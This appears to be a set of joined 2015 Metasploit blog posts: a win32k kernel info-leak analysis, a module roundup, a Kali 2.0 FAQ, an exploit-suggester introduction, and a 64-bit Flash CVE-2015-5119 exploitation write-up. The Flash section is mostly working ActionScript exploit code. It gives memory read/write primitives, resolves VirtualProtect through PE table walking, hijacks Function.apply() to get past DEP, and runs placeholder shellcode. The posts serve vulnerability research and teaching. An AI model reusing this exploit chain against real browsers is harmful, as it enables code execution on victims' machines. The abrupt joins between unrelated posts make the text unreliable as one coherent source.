  • hDC: is a handle to a device context (this matches with the user space signature).
  • pUnsafeTmwi: according to the userspace API, should be a pointer to a TEXTMETRICSW structure, but according to the syscall definition by ReactOS the kernel should receive a TMW_INTERNAL pointer. By the way this is the destination in user space where the metrics will be stored.
  • cj: is the size of the destination user space buffer pUnsafeTmwi (destination buffer).

The first thing that calls our attention is the third parameter. Can we provide an arbitrary length to copy? No, we can not get more than 0x44 bytes, according to the next NtGdiGetTextMetricsW check:

.text:FFFFF97FFF00754A cmp     r8d, 44h
.text:FFFFF97FFF00754E jb      loc_FFFFF97FFF

.text:FFFFF97FFF0075DF loc_FFFFF97FFF0075DF:
.text:FFFFF97FFF0075DF mov     eax, edx
.text:FFFFF97FFF0075E1 add     rsp, 70h
.text:FFFFF97FFF0075E5 pop     rbx
.text:FFFFF97FFF0075E6 retn


Next, we are interested in the second argument, specially the differences between the user space definition and the kernel prototype (at least in the prototype used by ReactOS). According to the TEXTMETRICW definition, 0x44 bytes is too much data to copy, since the structure size only has 0x39 bytes of valid data (even with the padding bytes inserted by the C compiler).


typedef struct tagTEXTMETRICW
    LONG        tmHeight;
    LONG        tmAscent;
    LONG        tmDescent;
    LONG        tmInternalLeading;
    LONG        tmExternalLeading;
    LONG        tmAveCharWidth;
    LONG        tmMaxCharWidth;
    LONG        tmWeight;
    LONG        tmOverhang;
    LONG        tmDigitizedAspectX;
    LONG        tmDigitizedAspectY;
    WCHAR       tmFirstChar;
    WCHAR       tmLastChar;
    WCHAR       tmDefaultChar;
    WCHAR       tmBreakChar;
    BYTE        tmItalic;
    BYTE        tmUnderlined;
    BYTE        tmStruckOut;
    BYTE        tmPitchAndFamily;
    BYTE        tmCharSet;

Reviewing the NtGdiGetTextMetricsW assembly code before the patch, it copies the contents of the TEXTMETRICW to a kernel local variable on the stack, with the help of GrGetTextMetricsW:


.text:FFFFF97FFF007554 lea     rdx, [rsp+78h+var_58] ; rdx comes from the stack
.text:FFFFF97FFF007559 call    GreGetTextMetricsW

It will then copy 0x44 bytes from this kernel space memory to the user space buffer sent with the syscall:

.text:FFFFF97FFF00758D loc_FFFFF97FFF00758D:
.text:FFFFF97FFF00758D mov     rax, [rsp+78h+var_58]
.text:FFFFF97FFF007592 mov     [rbx], rax
.text:FFFFF97FFF007595 mov     rax, [rsp+78h+var_50]
.text:FFFFF97FFF00759A mov     [rbx+8], rax
.text:FFFFF97FFF00759E mov     rax, [rsp+78h+var_48]
.text:FFFFF97FFF0075A3 mov     [rbx+10h], rax
.text:FFFFF97FFF0075A7 mov     rax, [rsp+78h+var_40]
.text:FFFFF97FFF0075AC mov     [rbx+18h], rax
.text:FFFFF97FFF0075B0 mov     rax, [rsp+78h+var_38]
.text:FFFFF97FFF0075B5 mov     [rbx+20h], rax
.text:FFFFF97FFF0075B9 mov     rax, [rsp+78h+var_30]
.text:FFFFF97FFF0075BE mov     [rbx+28h], rax
.text:FFFFF97FFF0075C2 mov     rax, [rsp+78h+var_28]
.text:FFFFF97FFF0075C7 mov     [rbx+30h], rax
.text:FFFFF97FFF0075CB mov     rax, [rsp+78h+var_20]
.text:FFFFF97FFF0075D0 mov     [rbx+38h], rax
.text:FFFFF97FFF0075D4 mov     eax, [rsp+78h+var_18]
.text:FFFFF97FFF0075D8 mov     [rbx+40h], eax

Checking the patch spotted by Greg Linares, it is initializing the kernel local variable used by win32k!NtGdiGetTextMetricsW to hold the copy of the TEXTMETRICW contents:


.text:FFFFF97FFF007540                 xor     edx, edx        ; Val
.text:FFFFF97FFF007542                 cmp     r8d, 44h
.text:FFFFF97FFF007546                 jb      loc_FFFFF97FFF0075E8
.text:FFFFF97FFF00754C                 lea     r8d, [rdx+44h]  ; Size
.text:FFFFF97FFF007550                 lea     rcx, [rsp+78h+Dst] ; Dst
.text:FFFFF97FFF007555                 call    memset


Unfortunately, the problem isn't only NtGdiGetTextMetricsW not initializing the local variable. It is also copying to user space more data than the TEXTMETRICW contents. If you keep tracing the code that fills the kernel local variable, you will reach win32k!bGetTextMetrics. There, 0x44 bytes are again copied from kernel dynamic memory to the local kernel buffer (pointed by r8):


.text:FFFFF97FFF013BC5                 mov     r10, [r9+2B8h]
.text:FFFFF97FFF013BCC                 test    r10, r10
.text:FFFFF97FFF013BCF                 jz      loc_FFFFF97FFF013C5B
.text:FFFFF97FFF013BD5                 mov     rax, [r10]
.text:FFFFF97FFF013BD8                 mov     r9d, 0FFh
.text:FFFFF97FFF013BDE                 mov     [r8], rax
.text:FFFFF97FFF013BE1                 mov     rax, [r10+8]
.text:FFFFF97FFF013BE5                 mov     [r8+8], rax
.text:FFFFF97FFF013BE9                 mov     rax, [r10+10h]
.text:FFFFF97FFF013BED                 mov     [r8+10h], rax
.text:FFFFF97FFF013BF1                 mov     rax, [r10+18h]
.text:FFFFF97FFF013BF5                 mov     [r8+18h], rax
.text:FFFFF97FFF013BF9                 mov     rax, [r10+20h]
.text:FFFFF97FFF013BFD                 mov     [r8+20h], rax
.text:FFFFF97FFF013C01                 mov     rax, [r10+28h]
.text:FFFFF97FFF013C05                 mov     [r8+28h], rax
.text:FFFFF97FFF013C09                 mov     rax, [r10+30h]
.text:FFFFF97FFF013C0D                 mov     [r8+30h], rax
.text:FFFFF97FFF013C11                 mov     rax, [r10+38h]
.text:FFFFF97FFF013C15                 mov     [r8+38h], rax
.text:FFFFF97FFF013C19                 mov     eax, [r10+40h]
.text:FFFFF97FFF013C1D                 mov     [r8+40h], eax


Checking the ReactOS code, we see that TEXTMETRICW is part of a longer structure, named TMW_INTERNAL on ReactOS:


/* Font Structures */
typedef struct _TMDIFF
    ULONG cjotma;
    CHAR chFirst;
    CHAR chLast;
    CHAR ChDefault;
    CHAR ChBreak;

typedef struct _TMW_INTERNAL
    TEXTMETRICW TextMetric;
    TMDIFF Diff;


My bet is that the win32k.sys pointer is being leaked from the data belonging to the "TMW_INTERNAL" structure, which wraps an TEXTMETRICW structure. Indeed, if you take into account the TMW_INTERNAL structure, the 0x44 length (with padding) makes sense


As a final note, ReactOS's method of filling the TMW_INTERNAL structure improves upon the MS15-080 patch and better closes the info leak. The strategy is:


  1. Initialize (zero) the local variable, as MS15-080 already does.
  2. When copying the data to the kernel local variable, the kernel should zero the TMDIFF space, since only the TEXTMETRICW data should reach user space later. It is what ReactOS does.
if (NT_SUCCESS(Status))
FillTM(&ptmwi->TextMetric, FontGDI, pOS2, pHori, !Error ? &Win : 0);

/* FIXME: Fill Diff member */
RtlZeroMemory(&ptmwi->Diff, sizeof(ptmwi->Diff));


   3. Additionally, the TEXTMETRICW padding should be zero'd also before copying the data to user space.


I have published a simple proof-of-concept for playing with this info leak here: jvazquez-r7/ht_win32k_info_leak · GitHub. This is the result of executing it on a machine with MS15-080 applied:




[*] It looks like a kernel address, check if it's in the win32k.sys range

[*] Leak: fffff960001ba900


kd> lm m win32k

start             end                 module name

fffff960`0017d000 fffff960`00593000   win32k     (deferred)

Vegas: That's a Wrap

Well, another trek out to the Nevada desert is behind us. I actually love heading out there every year, since it gives me a chance to connect with a sizable chunk of the Metasploit contributor community in a corporeal way. That just fills me with warm fuzzies, so thanks to all of you who made the pilgrimage. You, the open source security research community, is what makes Vegas feel a lot homier than it ought to.


Speaking of community, now that we're past the Vegas Singularity (the first week of August, after which it is impossible for short attention span infosec people like me to plan anything), I can clearly see DerbyCon coming over the horizon. Last week, we got the happy news that Dave TheLightCosine Maloney, James egypt Lee, Brent Cook, and me, todb, will be holding the First Annual Metasploit Town Hall. Think of it an IRL AMA by and for the folks who have invested their hearts and heads into open source Framework. It should be pretty fun, and I expect to learn from you all where you'd like to see Metasploit go next. That's right, the tables are turned: YOU have homework to do before the conference this time. Hah!


New Modules

Since the last blog post, we've added one new exploit, and four new auxiliary modules. In case you missed it, one of them is "Lester," the Local Exploit Suggester, by sinn3r and Mo s0cket_ Sadek. This module is kinda super useful as part of a quick engagement, in that it'll give some automated advice on picking out which of the dozens of local exploits might be useful in the current context. Since being a mere user, rather than root or LOCALSYSTEM, is an increasingly common circumstance, especially in client-side attacks, it can be a real time saver if you don't already have an encyclopedic knowledge of all of Metasploit's available privilege escalation exploits. Read more about it over here.


Also, we have an exploit for a video game first released in 1999, because hackers and sysadmins alike are a nostalgic bunch. I know if you planted some evil NetHack save file on my computer, you'd probably get fresh shells on me with alarming frequency. Turns out, Ubisoft published an updated, "HD" version of HoMM3 just this year, so you're much more likely to find this binary floating around your environment, again, because of nostalgia. I can't wait to see this come up in a pen-test report.


As always, feel free to check the diffs from the last blog checkpoint, over on GitHub.


Exploit modules


Auxiliary and post modules

Metasploit on Kali Linux 2.0

Posted by erayymz Employee Aug 12, 2015

As you are aware, Kali 2.0 has been released this week and getting quite a bit of attention, as it should. Folks behind Kali have worked really hard to bring you the new version of Kali Linux that everyone is excited about. If you have already started to play with the new version, you probably have realized that something is different, that is; Metasploit Community / Pro is no longer installed by default.


Where is Metasploit Community / Pro in Kali 2.0?

Currently Kali 2.0 does not include commercial editions of Metasploit that are Community, Express and Pro versions. Kali 2.0 includes, by default, a version of Metasploit Framework.


Why doesn’t Kali 2.0 include Metasploit Community / Pro?

Kali 2.0 is not yet officially supported by Rapid7 for our commercial versions of Metasploit. There were a lot of changes occurred in Kali 2.0, thus we need to make sure our commercial editions work as expected in the new Kali platform. We are working towards adding Kali 2.0 support soon.


How can I install Metasploit Community / Pro on Kali 2.0?

If you like to install latest version of Metasploit Community, Express, or Pro edition, you can absolutely do that by downloading the latest installer from Github: Metasploit Installers. Once you download the installer, please follow normal install procedure. We have verified that the latest installer will install and Metasploit will run without issues, however I must remind you that Kali 2.0 is not yet officially supported by Rapid7.


Do I need to uninstall pre-installed Metasploit Framework?

Due to the way we package commercial versions, installing Metasploit Community, Express, or Pro will not overwrite any Metasploit Framework packages provided by base install of Kali 2.0. Thus, it is not required to uninstall Kali provided Metasploit Framework packages.

What if I upgrade from Kali 1.1 to 2.0?

At this point, if you are planning on using any commercial edition of Metasploit on Kali 2.0, we strongly recommend a fresh install of Kali.


I have further questions, what do I do?

Feel free to provide comment to this thread, or send us a tweet.


One last thing: It is because we have no call home functions in any Metasploit versions, it is really hard for us to know which version of Metasploit is being used on Kali. Thus, please take this one question survey to let us know which version of Metasploit you use on Kali. We really appreciate your response.

Eray Yilmaz - @erayymz

Sr. Product Manager

Meet Lester, the Exploit Suggester


     Hey there, my name is Mo ( Mohamed Sadek ). I am currently an intern at Rapid7, working with the Metasploit team in Austin. After some research, testing, and more than a few energy drinks, sinn3r (sinn3r ) and I have authored the first version of the Metasploit Local Exploit Suggester, or Lester for short. Lester is a post module that you can use to check a system for local vulnerabilities, using the local exploit checks in Metasploit, without having to fire off any of the exploits. This is a great module for scanning a system without being overly intrusive. It saves time too, since you don't have to manually search for local exploits until something works. If you have ever had to generate a report for a pen test, you've probably experienced the frustration of finding the most relevant CVEs for a particular endpoint. With the Lester, you will get exactly what you need in an easy to understand format. Let's take a closer look at what Lester can do.


Where The Vulns At?


Before you can use the local exploit suggester, you must already have a session opened on your target. It is important to note that the type of session you have on your target can change the vulnerabilities that are detected. If you are using Windows, I would recommend using Meterpreter. For all other operating systems, a shell will give you better results due to the way platform exploit matching works. For instance, Python Meterpreter is treated as implementing the 'python' platform, which can miss native platform exploits currently. We hope to improve this in the future.

PLEASE NOTE:  Due to some bad spelling on my behalf, the path for Lester is actually "post/multi/recon/local_exploit_suggestor" rather than the correctly spelled "post/multi/recon/local_exploit_suggester". In next week's UI update, the correct name will be used. Sorry for the inconvenience!

Once you have opened a session, there are a few extra options you can set for improved usability:


  • set verbose true
  • set exitonsession false


You should also consider using the run_all_post resource script if you would like to run the exploit suggester with multiple sessions. It is well documented, so you should be able to follow along if you haven't used a resource script before: metasploit-framework/run_all_post.rc at master · rapid7/metasploit-framework · GitHub

Screen Shot 2015-07-31 at 1.58.04 PM.png

In the picture, I have run the suggester on a Windows machine using a Meterpreter session. As you can see, we get some pretty interesting information back. First, notice that we are told how many exploits are being tried. A few things are happening at this here: First, the suggester needs to make sure that the proper exploits are being checked for the architecture and operating system it's being run on. Then the suggester runs the checks for each matching exploit, as opposed to the actual exploit. Remember, the objective of the suggester is just to see what parts of a system can be exploitable.

You will notice that the exploits in the list have text next to, such as "The target appears to be vulnerable". In Metasploit Framework, we use checkcodes in conjunction with checks to categorize how effective an exploit is. In this case, we use "Vulnerable", "Appears", and "Detected" since these are checkcodes where an exploit are most likely to work. Here's how they work in a nutshell:


  • Vulnerable: The check was able to use a bug or obtain hard evidence of its existence.
  • Appears: When the target has the vulnerable resource available
  • Detected: When the target has a vulnerable service running but the check is unable to complete.

There is also a possibility that an exploit check did not fire at all. This happens with exploits that need an option or parameter that has no default value.


While having these results are great, there is a chance that you may have no clue what ms10_092_schelevator does or what vulnerability it is targeting. For this, enable the SHOWDESCRIPTION option to get a detailed description of the exploit. To turn on that option, add SHOWDESCRIPTION=true to the end of the run command. Your output should now look like this:

Screen Shot 2015-07-31 at 2.39.55 PM.png


The local exploit suggester is currently available in the master branch of Metasploit Framework if you'd like to give it a whirl! If you are interested in looking at some of the code for the exploit suggester, check out the pull request on GitHub. There may or may not be a Mr. Robot reference . b91a76b189160a45e

This post is a continuation of Exploiting a 64-bit browser with Flash CVE-2015-5119 , where we explained how to achieve arbitrary memory read/write on a 64-bit IE renderer. As a reminder, we are targeting Windows 8.1 / IE11 (64 bits) with Flash Of course, this write-up may contain a few errors, so your mileage may vary =)


Where we left off before, we had created an interface to work with memory by using a corrupted Vector.<uint> and a ByteArray whose metadata is reachable from the vector. In order to make it easier to experiment with memory access using the mentioned objects, we extend the interface already introduced in the Part 1:


private function set_ba_length(new_length:uint):void {
  uv[ba_pos + 2] = new_length
  uv[ba_pos + 3] = new_length

private function set_ba_array(ptr:Address64):void {
  uv[ba_pos] = ptr.lo
  uv[ba_pos + 1] = ptr.hi

private function restore_ba():void {

public function ba_read(addr:Address64):uint {
  ba.position = 0
  return ba.readUnsignedInt()

public function ba_read_word(addr:Address64):uint {
  ba.position = 0
  return ba.readUnsignedShort()

public function ba_write(addr:Address64, val:uint):void {
  ba.position = 0

public function ba_read_addr(addr:Address64):Address64 {
  var hi, lo:uint

  ba.position = 0
  lo = ba.readUnsignedInt()
  hi = ba.readUnsignedInt()
  return new Address64(lo, hi)

public function ba_write_addr(addr:Address64, val:Address64):void {
  ba.position = 0

public function read_string(addr:Address64, length:uint = 0):String
  ba.position = 0
    if (length == 0)
        return ba.readUTFBytes(MAX_STRING_LENGTH)
        return ba.readUTFBytes(length)


We now have two goals, which we will detail more below:


  1. Leaking memory addresses, finding the objects necessary for exploitation and disclose any necessary addresses.
  2. Execute our payload, while accounting ASLR\DEP protections.


Leaking Memory Addresses


There is nothing new about leaking arbitrary object addresses. We are going to re-use the same technique as with the original 32bits flash_exploiter library. The trick is to use a Vector.<Object> reachable from the corrupted Vector.<uint>, storing the objects whose addresses we need to leak. The "spray" of ByteArray's and Vector.<Object> looks like this:


private var defrag:Vector.<Object> = new Vector.<Object>(750)
private var ov:Vector.<Object> = new Vector.<Object>(2048)

for (var i:uint = 0; i < defrag.length; i++) {
  defrag[i] = new Vector.<uint>(250)

for (var i:uint = 0; i < ov.length; i++) {
  if (i % 2 == 0) {
  ov[i] = new ByteArray()
  ov[i].length = 0x3f8
  ov[i].position = 0
  ov[i].endian = "littleEndian"
  } else {
  ov[i] = new Vector.<Object>(0x3f6)
  ov[i][0] = this
  ov[i][1] = payload_space
  ov[i][2] = Magic


The Vector.<Object> is then used to disclose three objects:


  • this: used to leak a flash pointer. We could possibly use other object, but I'm just reusing old code.
  • payload_space: a Vector.<uint>, which we will use to store any fake objects required for exploitation, and the payload to execute.
  • Magic: a Function object. We will use this to achieve clean code execution, without requiring a ROP chain.

By leaking the "this" object, it is straightforward to leak its vtable, which is a Flash library pointer. We can use this to disclose where the Flash dll is loaded into memory. With the ability to navigate the import and export tables of loaded DLL's, we can then determine any method address. In our example, we are going to leak the kernel32#VirtualProtect address. In the meantime here an extract of the address-leaking code:


this_addr = ba_read_addr(vector_object_addr.offset(8))
this_addr.lo = this_addr.lo - 1
Logger.log("[*] 'this' found at " + this_addr.toString())
/* Leak flash and VirtualProtect */
flash_ptr = ba_read_addr(this_addr)
Logger.log("[*] Flash ptr to " + flash_ptr.toString())
var pe:PE64 = new PE64(this)
var flash:Address64 = pe.base(flash_ptr)
Logger.log("[*] Flash base " + flash.toString())
var winmm:Address64 = pe.module('winmm.dll', flash)
Logger.log("[*] winmm base " + winmm.toString())
var kernel32:Address64 = pe.module('kernel32.dll', winmm)
Logger.log("[*] kernel32 base " + kernel32.toString())
var virtualprotect:Address64 = pe.procedure("VirtualProtect", kernel32)
Logger.log("[*] virtualprotect: " + virtualprotect.toString())


And the PE64 class used to navigate a loaded DLL:


    public class PE64
        private var eba:Exploiter64

        public function PE64(ba:Exploiter64)
            eba = ba

        public function base(addr:Address64):Address64
            var partial:Address64 = new Address64(addr.lo & 0xffff0000, addr.hi)
            while (true) {
                if (eba.ba_read(partial) == 0x00905a4d) return partial
                partial = partial.offset(-0x1000)
            throw new Error()

        public function module(name:String, addr:Address64):Address64
            var i:uint = 0
            var nt_hdr_offset:uint = eba.ba_read(addr.offset(0x3c))
            var pe:Address64 = addr.offset(nt_hdr_offset)
            var iat_dir:Address64 = pe.offset(0x90)
            var iat:Address64 = new Address64(addr.lo + eba.ba_read(iat_dir), addr.hi)
            var iat_length:uint = eba.ba_read(iat_dir.offset(4))
            var mod_name:String
            var iat_entry:Address64
            var iat_name:Address64
            var iat_fnc:Address64
            while (i < iat_length) {
                 iat_entry = iat.offset(i * 0x14)
                 iat_name = new Address64(eba.ba_read(iat_entry.offset(0xc)) + addr.lo, addr.hi)
                 iat_fnc = new Address64(eba.ba_read(iat_entry.offset(0x10)) + addr.lo, addr.hi)
                mod_name = eba.read_string(iat_name, name.length)
                if (mod_name.toUpperCase() == name.toUpperCase()) {
                      return base(eba.ba_read_addr(iat_fnc))
                 i = i + 1

            throw new Error('FAIL!')

        public function procedure(name:String, addr:Address64):Address64
            var nt_hdr_offset:uint = eba.ba_read(addr.offset(0x3c))
            var pe:Address64 = addr.offset(nt_hdr_offset)
            var eat_dir:Address64 = pe.offset(0x88)
            var eat:Address64 = new Address64(addr.lo + eba.ba_read(eat_dir), addr.hi)
            var eat_length:uint = eba.ba_read(eat_dir.offset(4))
            var numberOfNames:uint = eba.ba_read(eat.offset(0x18))
            var addressOfFunctions:Address64 =  new Address64(eba.ba_read(eat.offset(0x1c)) + addr.lo, addr.hi)
            var addressOfNames:Address64 = new Address64(eba.ba_read(eat.offset(0x20)) + addr.lo, addr.hi)
            var addressOfNameOrdinals:Address64 = new Address64(eba.ba_read(eat.offset(0x24)) + addr.lo, addr.hi)
            var proc_name:String
            var entry:Address64
            var i:uint = 0

            while (i < numberOfNames) {
                 entry = new Address64(addr.lo + eba.ba_read(addressOfNames.offset(i * 4)), addr.hi)
                proc_name = eba.read_string(entry, name.length)
                if (proc_name.toUpperCase() == name.toUpperCase()) {
                      var function_offset:uint = eba.ba_read_word(addressOfNameOrdinals.offset(i * 2)) * 4
                      var address_of_function:Address64 = new Address64(addr.lo + eba.ba_read(addressOfFunctions.offset(function_offset)), addr.hi)
                      return address_of_function

                 i = i + 1

            throw new Error('FAIL!')


Payload Execution


Now we will describe how to achieve arbitrary code execution with a user-specified payload. In order to do this, we need executable and writable memory where we can write our shellcode and then execute it. To do this with DEP in place, we normally use a ROP chain. And in order to bypass ASLR, ideally we need the ability to generate the chain dynamically. This means searching for the required gadgets in memory.

The CVE-2015-5119 exploit, by Vitaly Toropov, uses an interesting method to achieve clean code execution without a ROP chain. The idea is this:

  • Use a Vector.<uint> data space to store the shellcode and leak the address where data is going to be stored.
  • Call VirtualProtect() on the data space address to make the memory executable.

So, how do we call VirtualProtect() without a chain? Vitaly's method consists on hijacking the Method.apply() call to execute arbitrary (native) methods with controlled arguments and return cleanly to the ActionScriopt code. Let's review to the native code of Method.apply():


     * Function.prototype.apply()
    Atom FunctionObject::AS3_apply(Atom thisArg, Atom argArray)
        thisArg = get_coerced_receiver(thisArg);

        // when argArray == undefined or null, same as not being there at all
        // see Function/

        if (!AvmCore::isNullOrUndefined(argArray))
            AvmCore* core = this->core();

            // FIXME: why not declare argArray as Array in
            if (!AvmCore::istype(argArray, ARRAY_TYPE))

            return core->exec->apply(get_callEnv(), thisArg, (ArrayObject*)AvmCore::atomToScriptObject(argArray)); // HIJACKED CALL
            AvmAssert(get_callEnv() != NULL);
            return get_callEnv()->coerceEnter(thisArg);


The trick consists in hijacking the "core->exec->apply(get_callEnv(), thisArg, (ArrayObject*)AvmCore::atomToScriptObject(argArray));" call and its arguments. To understand the details, we need to review the assembly code behind this call:


.text:00000001808C1455 loc_1808C1455:
.text:00000001808C1455 mov     rax, [rbx]
.text:00000001808C1458 lea     rdx, [rsp+58h+var_30]
.text:00000001808C145D mov     rcx, rbx
.text:00000001808C1460 call    qword ptr [rax+120h] ; getCallEnv()
.text:00000001808C1466 mov     rcx, [rsi+108h]
.text:00000001808C146D and     rdi, 0FFFFFFFFFFFFFFF8h
.text:00000001808C1471 mov     r10, [rcx]
.text:00000001808C1474 mov     rdx, [rax]
.text:00000001808C1477 mov     r9, rdi
.text:00000001808C147A mov     r8, rbp
.text:00000001808C147D call    qword ptr [r10+30h] ; core->exec->apply()


As you have probably guessed, in order to hijack the core->exec->apply() call, there are several objects involved. First, we need to figure out how to reach the "core" (AvmCore) element. In the above assembly source, it is done with "AvmCore* core = this->core();". The ScriptObject::core() called method looks like this:


REALLY_INLINE AvmCore* ScriptObject::core() const
    return vtable->traits->core;


The assembly code to access the "core" object from a FunctionObject will be inlined, and looks like this (the offsets are the important part to understand the hijack and the exploitation):


00000001808C140D mov     rbx, rcx       ; MethodObject
00000001808C141F mov     rcx, [rbx+10h] ; vtable
00000001808C1428 mov     rdx, [rcx+28h] ; traits
00000001808C142F mov     rsi, [rdx+8]   ; core


From the "core" object, we then need to access the "exec" (ExecMgr) object, and finally the position of the "apply()" method on its vtable. The assembly code looks like this:


00000001808C1466 mov     rcx, [rsi+108h]     ; exec
00000001808C1471 mov     r10, [rcx]          ; exec vtable
00000001808C147D call    qword ptr [r10+30h] ; apply() call


Awesome! With this information we should be able to fake our own "exec" object, its vtable, and hijack the original "core" object!


Now, let's review how to hijack the arguments. If you remember, we are trying to hijack the call with Kernel32!VirtualProtect. Let's examine the prototype for VirtualProtect:


BOOL WINAPI VirtualProtect(
  _In_  LPVOID lpAddress,
  _In_  SIZE_T dwSize,
  _In_  DWORD  flNewProtect,
  _Out_ PDWORD lpflOldProtect


There are 4 arguments to control, and given the 64-bit x86 calling convention, that means that there are 4 registers to control:


  1. lpAddress: ecx
  2. dwSize: edx
  3. flNewProtect: r8
  4. lpflOldProtect: r9


Perfect! Let's revisit the assembly code that set up the registers and makes the core->exec->apply() call:


.text:00000001808C1466 mov     rcx, [rsi+108h]
.text:00000001808C146D and     rdi, 0FFFFFFFFFFFFFFF8h
.text:00000001808C1471 mov     r10, [rcx]
.text:00000001808C1474 mov     rdx, [rax]
.text:00000001808C1477 mov     r9, rdi
.text:00000001808C147A mov     r8, rbp
.text:00000001808C147D call    qword ptr [r10+30h] ; core->exec->apply()


  • rcx is the pointer to the "exec" object. By faking own object in memory, we should be able to hijack it. The payload should live in the same allocation where we are storing our fake object for the hijack. This is not a problem at all. Remember, we're using a Vector.<uint>'s space to store all this information, and we can make it as big as we need
  • rdx comes from a dereference of the memory pointed by rax. Where does rax come from? It is the result of the "get_callEnv()" call, whose assembler is similar to the next snippet, where "rcx" points to the FunctionMethod Object:


avm!avmplus::FunctionObject::get_callEnv [c:\avmplus-vs2010\core\functionclass.h @ 70]:
  70 00007ff7`c8aad740 488b4138 mov rax,qword ptr [rcx+38h]
  70 00007ff7`c8aad744 488902 mov qword ptr [rdx],rax
  70 00007ff7`c8aad747 488bc2 mov rax,rdx
  70 00007ff7`c8aad74a c3 ret


By controlling the field (8 bytes) at the offset 0x38 of the MethodObject, we should be able to control the second argument.

  • r8 comes from rbp, which stores the result of the "thisArg = get_coerced_receiver(thisArg);" call. The assembly code of get_coerced_receiver is similar to the next snippet, where "rcx" points to the FunctionMethod object:


avm!avmplus::MethodClosure::get_coerced_receiver (00007ff7`c8ab7b30)
.text:0000000140087B30 ; __int64 __cdecl avmplus::MethodClosure::get_coerced_receiver(avmplus::MethodClosure *this, __int64 __formal)
.text:0000000140087B30 ?get_coerced_receiver@MethodClosure@avmplus@@MEBA_J_J@Z proc near
.text:0000000140087B30 mov rax, [rcx+40h]
.text:0000000140087B34 retn
.text:0000000140087B34 ?get_coerced_receiver@MethodClosure@avmplus@@MEBA_J_J@Z en


By controlling the field (8 bytes) at the offset 0x40 of the MethodObject, we should be able to control the third argument.

  • r9 comes from rdi, which stores the result of "(ArrayObject*)AvmCore::atomToScriptObject(argArray)". By calling Function.apply() with a valid array of args from AS, we should already have a pointer to r/w memory here, so there is nothing special to do to in order to provide a correct fourth argument.

So far so good! We can use the code as follows to leak the required objects, create our fake "exec" and hijack the required fields, and call kernel32!VirtualProtect with controlled arguments, providing executable permissions to the memory where we'll store the payload later:

payload_space_object = ba_read_addr(vector_object_addr.offset(16))
payload_space_object.lo = payload_space_object.lo - 1
Logger.log("[*] payload_space_object found at " + payload_space_object.toString())

payload_space_data = ba_read_addr(payload_space_object.offset(0x30))
payload_space_data.lo = payload_space_data.lo + 0x10
Logger.log("[*] payload_space_data found at " + payload_space_data.toString())

magic = ba_read_addr(vector_object_addr.offset(24))
magic.lo = magic.lo - 1
Logger.log("[*] magic found at " + magic.toString())

vtable = ba_read_addr(magic.offset(0x10))
Logger.log("[*] vtable found at " + vtable.toString())
traits = ba_read_addr(vtable.offset(0x28))
Logger.log("[*] traits found at " + traits.toString())
core = ba_read_addr(traits.offset(0x8))
Logger.log("[*] core found at " + core.toString())
exec = ba_read_addr(core.offset(0x108))
Logger.log("[*] exec found at " + exec.toString())
exec_vtable = ba_read_addr(exec)
Logger.log("[*] exec_vtable found at " + exec_vtable.toString())

// Copy the exec object to payload_space
/* 8 bytes before the exec objec to survive the next call:
* .text:0000000180896903 mov     rax, [r9+108h]
* .text:000000018089690A test    rax, rax
* .text:000000018089690D jz      short loc_180
* .text:000000018089690F lea     rcx, [rax-8]
* .text:0000000180896913 jmp     short loc_180896917
* .text:0000000180896917 loc_180896917:
* .text:0000000180896917 mov     r9, [rbx+18h]
* .text:000000018089691B mov     rax, [rcx]      ; rcx => it's magic  it shouldn't be corrupted so why????
* .text:000000018089691E mov     r8, [r9+8]
* .text:0000000180896922 mov     r9, [r9+10h]
* .text:0000000180896926 mov     r8, [r8+8]
* .text:000000018089692A call    qword ptr [rax+10h]
for (var j:int = -2; j < 0x140; j++) {
  payload_space[j + 2] = ba_read(exec.offset(j * 4))

// Copy the exec_vtable to payload_space
for (i = 0x142; i < 0x142 + (228 / 4); i++) {
  payload_space[i] = ba_read(exec_vtable.offset((i - 0x142) * 4))

// Tweak fake "apply()" vtable entry
ba_write_addr(payload_space_data.offset(0x508 + 0x30), virtualprotect)

// Link fake exec to fake exec vtable
ba_write_addr(payload_space_data.offset(8), payload_space_data.offset(0x508))

// Install our fake "exec" object
ba_write_addr(core.offset(0x108), payload_space_data.offset(8))

// Install our fake "arg1"
var arg1:Address64 = ba_read_addr(magic.offset(0x38))
ba_write_addr(magic.offset(0x38), new Address64(payload_space.length * 4, 0))

// Install our fake "arg2"
var arg2:Address64 = ba_read_addr(magic.offset(0x40))
ba_write_addr(magic.offset(0x40), new Address64(0x40, 0))

// Arg0
var args:Array = new Array(4) // Should be good enough to control arg0

Logger.log('[*] Execte VirtualProtect')

Magic.apply(null, args)

Since we have the ability to return back to the AS3 code, we can now store our shellcode in the Vector.<uint> whose data has been done executable, and provide control by using the Function.apply() hijack again. In this case our shellcodes are just software breakpoint opcodes:


ba_write_addr(magic.offset(0x38), arg1)
ba_write_addr(magic.offset(0x40), arg2)
ba_write_addr(core.offset(0x108), exec)

Logger.log("Looks good:\n" +
  "                   'this' addr: " + this_addr.toString() + "\n" +
  "     payload_space_object addr: " + payload_space_object.toString() + "\n" +
  "       payload_space_data addr: " + payload_space_data.toString() + "\n" +
  "                    magic addr: " + magic.toString() + "\n")

for (i = 0; i < 504; i++) {
  payload_space[i] = 0

for (i = 0; i < 228 / 4; i++) {
  payload_space[i] = ba_read(exec_vtable.offset(i * 4))

payload_space[500] = 0xcccccccc

ba_write_addr(payload_space_data.offset(0x30), payload_space_data.offset(500 * 4))
ba_write_addr(exec, payload_space_data)

Logger.log('Execute dummy payload')
Magic.apply(null, args)


Running Flash under a debugging target allows us to intercept where our "shellcode" is executed:


(960.15e4): Break instruction exception - code 80000003 (first chance)
00007ff7`5aa6a7e0 cc              int     3
0:023> r
rax=000000ef544daaf8 rbx=00007ff75bc1c0e0 rcx=00007ff75b9540d8
rdx=00007ff75be31d58 rsi=00007ff75b93b000 rdi=00007ff75be94650
rip=00007ff75aa6a7e0 rsp=000000ef544daac8 rbp=00007ff75bc132c1
r8=00007ff75bc132c1  r9=00007ff75be94650 r10=00007ff75aa6a010
r11=00007ffc6eda2848 r12=000000ef544dafc8 r13=00007ff75b93b000
r14=00007ff75be31f38 r15=0000000000000018
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000204
00007ff7`5aa6a7e0 cc              int     3
0:023> !address rip
Usage:                  <unknown>
Base Address:           00007ff7`5aa6a000
End Address:            00007ff7`5aa84000
Region Size:            00000000`0001a000
State:                  00001000 MEM_COMMIT
Protect:                00000040 PAGE_EXECUTE_READWRITE
Type:                   00020000 MEM_PRIVATE
